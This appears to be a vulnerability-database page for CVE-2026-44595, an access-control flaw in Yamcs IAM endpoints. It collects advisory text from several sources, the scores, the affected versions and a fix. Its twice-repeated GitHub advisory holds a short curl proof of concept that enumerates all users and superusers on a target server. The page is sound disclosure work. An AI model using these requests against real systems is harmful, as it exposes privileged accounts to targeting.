CVE-2026-44595
Yamcs: Unauthorized user enumeration via IAM API endpoints
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
4.3
Yamcs: Unauthorized user enumeration via IAM API endpoints
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
- Record
CVE-2026-44595- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-44954
4.3
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
- Record
EUVD-2026-44954- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-p2rj-mrmc-9w29
4.3
Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints
Summary
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
Compare with properly protected endpoints:
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Impact
Any authenticated user can:
- List all user accounts in the system
- Identify which accounts have superuser privileges
- Use this information to target privileged accounts
Proof of Concept
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
Output (confirmed):
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
Fix
Add ControlAccess check to listUsers, getUser, listGroups, getGroup:
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}
- Record
GHSA-p2rj-mrmc-9w29- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
4.3
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
- Record
CVE-2026-44595- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSV
4.3
Yamcs: Unauthorized user enumeration via IAM API endpoints
Yamcs is a mission control framework. Prior to 5.12.7, the IAM API endpoints listUsers, getUser, listGroups, and getGroup in yamcs-core did not enforce the required SystemPrivilege.ControlAccess check in yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java, so any authenticated user, even one with low or no privileges, could enumerate all user accounts in the system including their usernames, superuser status, and group memberships. This issue is fixed in versions 5.12.7 and 5.13.0.
- Record
CVE-2026-44595- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVGHSA-p2rj-mrmc-9w29
4.3
Yamcs vulnerable to unauthorized user enumeration via IAM API endpoints
Summary
The IAM API endpoints (listUsers, getUser, listGroups, and getGroup) in yamcs-core do not enforce the required SystemPrivilege.ControlAccess check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships.
This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information.
Root Cause
File: yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372
listUsers(), getUser(), listGroups(), and getGroup() do not require SystemPrivilege.ControlAccess. Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships:
// listUsers — NO checkSystemPrivilege
public void listUsers(Context ctx, Empty request, ...) {
var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess);
// sensitiveDetails=false for low-priv users, but name/superuser/active still exposed
for (User user : users) {
UserInfo userb = toUserInfo(user, sensitiveDetails, directory);
responseb.addUsers(userb);
}
}
Compare with properly protected endpoints:
// createUser — correctly protected
public void createUser(Context ctx, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present
Impact
Any authenticated user can:
- List all user accounts in the system
- Identify which accounts have superuser privileges
- Use this information to target privileged accounts
Proof of Concept
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token
Output (confirmed):
{
"users": [
{ "name": "admin", "superuser": true, "active": true },
{ "name": "operator", "superuser": true, "active": true },
{ "name": "lowpriv", "superuser": false, "active": true }
]
}
Fix
Add ControlAccess check to listUsers, getUser, listGroups, getGroup:
public void listUsers(Context ctx, Empty request, ...) {
ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS
...
}
- Record
GHSA-p2rj-mrmc-9w29- CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.yamcs:yamcs-coreMaven |
before 5.12.7 | 5.12.7 |
org.yamcs:yamcs-coreMaven |
before 5.12.7, plus listed versions 0.29.30.30.03.0.03.1.03.1.1 Show 45 moreShow less3.1.23.2.03.2.13.2.23.3.03.3.13.4.03.4.13.4.113.4.23.4.33.4.43.4.53.4.63.4.84.0.04.0.14.1.14.1.24.10.04.10.14.10.24.10.34.10.44.10.54.10.64.10.74.10.84.10.94.2.04.2.14.2.24.3.04.3.14.4.04.4.14.4.24.5.04.6.04.6.14.6.24.6.34.74.7.14.7.3 |
5.12.7 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Exploit-DB | YAMCS yamcs-core 5.12.7 - User Enumeration | 2026-05-30 |
| PoC in GitHub | ex-cal1bur/CVE-2026-44595 | 2026-05-29 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, Exploit-DB, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44595 is a medium vulnerability (CVSS 4.3) in Spaceapplications Yamcs, published May 27, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 1.06%, the 64th percentile. Fixed in org.yamcs:yamcs-core 5.12.7.
References
github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29
github.com/yamcs/yamcs/commit/0e12b518f103f24681299318a30a460fe4327b88
github.com/yamcs/yamcs/commit/e90099fba98e96214217c195b6a5b87b5f46e51c
github.com/yamcs/yamcs/releases/tag/yamcs-5.12.7
github.com/yamcs/yamcs/releases/tag/yamcs-5.13.0
github.com/advisories/GHSA-p2rj-mrmc-9w29
github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44595.json
nvd.nist.gov/vuln/detail/CVE-2026-44595
github.com/yamcs/yamcs
Left out here: 115 versions. The JSON record has them.